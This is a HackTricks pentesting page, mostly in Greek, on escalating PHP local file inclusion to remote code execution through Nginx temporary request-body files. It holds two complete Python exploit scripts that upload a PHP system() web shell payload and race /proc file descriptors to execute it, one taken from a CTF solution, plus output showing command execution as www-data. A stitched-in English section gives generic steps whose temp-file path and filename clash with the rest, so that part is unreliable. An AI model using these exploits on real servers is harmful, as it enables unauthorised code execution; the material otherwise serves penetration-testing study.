hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

15 KiB
Raw Blame History

LFI2RCE μέσω αρχείων προσωρινής αποθήκευσης του Nginx

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Ευάλωτη διαμόρφωση

Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • Κώδικας PHP:
<?php include_once($_GET['file']);
  • Ρύθμιση FPM / PHP:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Ρύθμιση / ενίσχυση:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Ευτυχώς, η PHP συχνά εγκαθίσταται μέσω της PHP-FPM και του Nginx. Το Nginx προσφέρει μια επιλογή client body buffering που συχνά παραβλέπεται και θα δημιουργήσει προσωρινά αρχεία εάν το σώμα του πελάτη (όχι μόνο για αιτήσεις POST) είναι μεγαλύτερο από ένα συγκεκριμένο όριο.

Αυτή η δυνατότητα επιτρέπει την εκμετάλλευση των LFI χωρίς καμία άλλη μέθοδο δημιουργίας αρχείων, εάν το Nginx εκτελείται με τον ίδιο χρήστη με την PHP (πολύ συχνά γίνεται αυτό με τον χρήστη www-data).

Σχετικός κώδικας Nginx:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t  fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

Είναι ορατό ότι το tempfile διαγράφεται αμέσως μετά το άνοιγμα από το Nginx. Ευτυχώς, το procfs μπορεί να χρησιμοποιηθεί για να αποκτηθεί ακόμα μια αναφορά στο διαγραμμένο αρχείο μέσω ενός αγώνα:

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Σημείωση: Δεν είναι δυνατή η άμεση συμπερίληψη του /proc/34/fd/15 σε αυτό το παράδειγμα, καθώς η λειτουργία include του PHP θα αναλύσει τη διαδρομή σε /var/lib/nginx/body/0000001368 (deleted), η οποία δεν υπάρχει στο σύστημα αρχείων. Αυτός ο περιορισμός μπορεί ευτυχώς να παρακαμφθεί με κάποια έμμεση αναφορά όπως: /proc/self/fd/34/../../../34/fd/15, η οποία θα εκτελέσει τελικά το περιεχόμενο του διαγραμμένου αρχείου /var/lib/nginx/body/0000001368.

Πλήρης Εκμετάλλευση

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r  = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r  = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

LFI to RCE via Nginx Temp Files

In this technique, we will exploit a Local File Inclusion (LFI) vulnerability to achieve Remote Code Execution (RCE) by leveraging Nginx temporary files.

Introduction

Nginx is a popular web server that uses temporary files to store client request bodies. These temporary files are created when a client uploads a file to the server. By exploiting an LFI vulnerability, we can manipulate the file path and inject malicious code into the temporary file, which will then be executed by the server.

Exploitation Steps

  1. Identify the LFI vulnerability: Look for user-controlled input that is not properly sanitized and can be used to include local files.

  2. Determine the location of the Nginx temporary files: The default location is usually /var/tmp/nginx.

  3. Craft the payload: Use the LFI vulnerability to include the Nginx temporary file and inject your malicious code.

  4. Trigger the payload: Access the vulnerable page and include the Nginx temporary file with the injected code.

  5. Execute the payload: The server will execute the injected code when it processes the Nginx temporary file.

Example Payload

Assuming the LFI vulnerability allows us to include files using a parameter named file, and the Nginx temporary files are located in /var/tmp/nginx, we can craft the following payload:

http://example.com/vulnerable.php?file=/var/tmp/nginx/upload_1234.php&cmd=id

In this example, we are including the Nginx temporary file upload_1234.php and executing the id command.

Mitigation

To prevent this type of attack, it is important to properly sanitize user-controlled input and validate file paths before including them. Additionally, restricting access to the Nginx temporary files directory can help mitigate the risk.

Conclusion

By exploiting an LFI vulnerability and leveraging Nginx temporary files, we can achieve RCE and execute arbitrary code on the server. It is crucial for developers and system administrators to be aware of this technique and implement proper security measures to prevent such attacks.

$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ένα Άλλο Εκμεταλλευτήριο

Αυτό είναι από το https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Εργαστήρια

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: